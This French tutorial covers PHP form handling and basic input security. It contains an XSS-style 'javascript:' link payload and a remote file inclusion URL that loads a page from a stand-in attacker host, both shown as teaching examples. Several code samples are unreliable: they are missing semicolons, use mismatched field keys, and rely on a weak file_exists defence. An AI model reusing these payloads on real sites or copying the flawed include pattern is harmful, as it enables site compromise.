Sommaire
- Partie 1 : Ecriture et Traitement de formulaires (côté HTML)
- Partie 2 : Ecriture et Traitement de formulaires (côté PHP)
Dernière m.à.j. : 2018-06-17
1. Méthodes de traitement des formulaires : GET et POST
Il existe 2 façons de traiter un formulaire. Quel que soit le type de traitement, il faut bien garder à l'esprit que ce sont des variables que le formulaire envoie. Ces variables ont pour nom l'attribut name du champ de formulaire HTML et ont pour valeur la valeur entrée (ou choisie) par le visiteur.
exemple :
<input type="text" id="test_de_mon_champ" name="lambda" value="Entrez votre nom" />
renverra, si l'utilisateur n'a fait que soumettre directement le formulaire :
lambda <=> Entrez votre nom
ceci en POST ou en GET. Pour rappel, on peut afficher toutes les valeurs reçues d'un formulaire grâce aux commandes print_r et var_dump:
<?php echo "<p>*** Valeurs récupérées par méthode POST :***</p>\n"; print_r($_POST); echo "<p>*** Valeurs récupérées par méthode GET :***</p>\n"; print_r($_GET); echo "<p>*** Valeurs et leur typage récupérées par méthode POST :***</p>\n"; var_dump($_POST); echo "<p>*** Valeurs et leur typage récupérées par méthode GET :***</p>\n"; var_dump($_GET); ?>
1.1. Différences entre POST et GET :
- GET passe les variables par URL : page.php?lambda=Entrez%20votre%20nom
- POST les passe de manière cachée
- GET *peut* poser des problèmes relatifs à la sécurité des données si l'utilisateur modifie directement l'URL
- Je ne pense pas qu'on puisse télécharger de fichier par méthode GET.
Vous l'aurez bien compris, chacune a son avantage. Quoiqu'il en soit, si le formulaire a pour action :
<form id="test_formulaire" method="post" action="page_resultats.php">
Alors la page resultats doit contenir :
<?php $lambda = $_POST['lambda']; echo "<p>Votre nom est : ".$lambda."</p>"; ?>
Du premier coup d'oeil, vous avez fait le rapprochement entre method="post" et $_POST['...'] : en méthode GET (method="get") on aurait mis $_GET['...'].
Ainsi on récupère la valeur du champ précédemment nommé lambda. Pour un souci de clarté du code, je l'ai enregistré dans une variable nommée $lambda, mais j'aurais pu l'enregistrer dans $gamma.
On peut ainsi traiter tous les formulaires.
Pour les <input> de type checkbox ou radio, c'est respectivement l'état (on / ---) ou la valeur (value) qui est renvoyé :
<form id="test" action="fichier.php" method="post"> <p>Votre sexe : <label for="sexe_M">Masculin</label><input type="radio" id="sexe_M" name="sexe" value="M" /> <label for="sexe_F">Féminin</label><input type="radio" id="sexe_F" name="sexe" value="F" /> </p> <p>Les acteurs que vous appréciez :<br /> <input type="checkbox" id="richard_gere" name="richard_gere" /><label for="richard_gere">Richard Gere</label> <input type="checkbox" id="bruce_willis" name="bruce_willis" /><label for="bruce_willis">Bruce Willis</label> <input type="checkbox" id="harrisson_ford" name="harrisson_ford" /><label for="harrisson_ford">Harrisson Ford</label> <input type="checkbox" id="richard_dean_anderson" name="richard_dean_anderson" /><label for="richard_dean_anderson">Richard Dean Anderson</label> <input type="checkbox" id="jean_reno" name="jean_reno" /><label for="jean_reno">Jean Reno</label> <p> <p><label for="inscrire">M'inscrire à la newsletter ?</label><input type="checkbox" id="inscrire" name="inscrire" /></p> </form>
Supposons que je coche "Masculin" et, dans la liste "Bruce Willis", "Richard Dean Anderson" puis "Jean Reno". Je m'inscris aussi.
En $_POST (puisque la méthode est post) j'obtiendrai ceci :
<?php $sexe = $_POST['sexe']; echo '<p>Votre sexe : '.$sexe.'</p>'; echo '<hr />' echo '<p>Vos acteurs préférés :</p>'; echo '<ul>'; echo (isset($_POST['richard_gere'])) ? '<li>Richard Gere</li>' : ''; echo (isset($_POST['bruce_willis'])) ? '<li>Bruce Willis</li>' : ''; echo (isset($_POST['Harrisson Ford'])) ? '<li>Harrisson Ford</li>' : ''; echo (isset($_POST['richard_dean_anderson'])) ? '<li>Richard Dean Anderson</li>' : ''; echo (isset($_POST['Jean Reno'])) ? '<li>Jean Reno</li>' : ''; echo '</ul>'; if (isset($_POST['inscrire'])) // la case inscription a été cochée { echo '<p>Votre adresse email a été ajoutée à la liste !</p>' }; ?>
Ce qui affichera :
Votre sexe : M
Vos acteurs préférés :
- Bruce willis
- Richard Dean Anderson
- Jean Reno
Votre adresse email a été ajoutée à la liste !
J'attire votre attention sur l'unicité de l'attribut id, encore une fois. Lors d'un choix unique parmi une sélection (boutons radio), c'est bien la value qui est envoyée au traitement avec pour nom le name. Seulement l'id est différent à chaque fois, pour permettre d'étiquetter chaque champ de formulaire.
Dans le cas d'une checkbox, si l'attribut value est précisé, c'est cet attribut qui sera renvoyé. Autrement, "on" (= coché) sera renvoyé. Dans le cas où la case checkbox n'a pas été cochée, rien n'est renvoyé (on le voit dans la liste d'acteurs : pas d'Harrisson Ford ... sans doute occupé avec son avion).
2. Sécurisation des données
Que se passe-t-il si on ne fait pas attention à la sécurité ? Voici deux exemples pouvant se révéler catastrophiques. Quelle que soit la méthode (GET ou POST), le danger est toujours le même.
2.1. Exemple 1 : Affichage non controlé.
Voici mon formulaire :
<form id="exemple_1" method="post" action="page_1.php"> <p><label for="web">Votre site :</label><input type="text" id="web" name="web" /></p> <p><input type="submit" name="submit" value="Valider" /></p> </form>
et son traitement (page_1.php) :
<?php $siteweb = $_POST['web']; echo '<p>Votre site web est : <a href="'.$siteweb.'">ici</a></p>'; ?>
Supposons que je mette comme lien : javascript:alert('Haha, petit farceur !'); alors ma variable $siteweb devient : $siteweb = javascript:alert('Haha, petit farceur !');
Mon lien devient donc :
<p>Votre site web est : <a href="javascript:alert('Haha, petit farceur !');">ici</a></p>.
testez-le : Votre site web est ici
Cet exemple n'est pas grave du tout, bien entendu un visiteur "normal" mettra un lien "normal"...
2.2. Exemple 2 : Injection de code.
Supposons que je fasse une "pseudo frame", c'est à dire cette technique en PHP où je mets ?page=lambda et mon contenu central affiche la page lambda, ceci afin d'éviter pour chaque page de recopier le reste du code (logo, menus ...).
Voici ma page lambda.html :
<h2>Secteur Lambda</h2> <p>Bienvenue dans le secteur lambda, le secteur le plus avancé dans la recherche scientifique.</p>
et ma page index.php, qui a dans son menu un lien comme suit :
<a href="index.php?page=lambda.html">Secteur Lambda</a>
On voit que la variable est passée par URL, on la récupère en mode GET et on affiche la page :
<?php $page = $_GET['page']; // dans mon exemple, $page == 'lambda.html' [...] include($page); ?>
Et au final, ma page a bien ce que je veux :
<a href="index.php?page=lambda.html">Secteur Lambda</a> [...] <h2>Secteur Lambda</h2> <p>Bienvenue dans le secteur lambda, le secteur le plus avancé dans la recherche scientifique.</p>
GROS DANGER : si l'utilisateur modifie l'URL :
http://monsite/index.php?page=http://vilainfarceur/page_mechante.php
Alors mon site affichera la page avec, en inclusion, le code de la page_mechante.php ... Le cas le plus fréquent est celui où, dans la page_mechante.php il y a des instructions pour effacer les fichiers du site... Cela s'appelle du hacking.
Solutions pour s'en prémunir : ne pas mettre l'extension, la rajouter dans le include (au pire cela fera http://monsite/index.php?page=http://vilainfarceur/page_mechante.php.html par exemple et rendra l'include invalide) mais cela ne protège pas suffisamment ... Le mieux à faire est de tester que le fichier existe réellement :
<?php $page = $_GET['page']; // dans mon exemple, $page == 'lambda' [...] if (file_exists($page)) // teste si le fichier existe dans le site, ne marche pas sur une adresse externe ! { include($page); } else { include('accueil.html'); } ?>
2.3. Récapitulatif
La sécurisation d'un formulaire passe par trois étapes.
- Comme disent les anglais : "never trust user input" (ne faites jamais confiance à du contenu envoyé par un utilisateur)
- Définissez correctement les types de variables attendus (entier, chaine de caractères, ...)
- Récupérez coté serveur selon le bon type : si on attend un chiffre, récupérer un chiffre. Si on attend un texte, récupérer un texte.
En PHP, il existe plusieurs fonctions pour typer les variables, par exemple :
<?php // traitement de textes $nom = sprintf("%s",$_POST['nom']); // ici $nom sera une chaîne de caractères $nom = trim($nom); // enlève les espaces, retour à la ligne, tabulations inutiles en début et fin de chaine $siteweb = htmlentities($siteweb); // encode les caractères HML comme < et > en entités < et >, cela rend les liens inactifs if ($nom != '') { ... } // pas de nom vide, test à effectuer après un trim(...) ! // traitement de chiffres $age = sprintf("%d",$_POST['age']); // ici l'âge sera un entier $age = abs($age); // $age sera positif ou nul = valeur absolue (évite les âges négatifs !) $age = intval($age); // renvoie aussi une valeur entière if (is_numeric($age)) { ... } // n'effectue que si $age est numérique // Divers if (isset(...)) { ... } // si ... est définie (évite de traiter un formulaire sans sa soumission p.ex.) if (file_exists(...)) { ... } // teste l'existence d'un fichier sur l'espace web (utile avant un include !) ?>
Rien qu'avec ces quelques fonctions PHP, il y a de quoi sécuriser la majorité des formulaires. Il faut aussi faire preuve de logique et ne pas envoyer de mail, par exemple, si l'email est incorrect.
Autre moyen de sécuriser son formulaire : un système anti spam.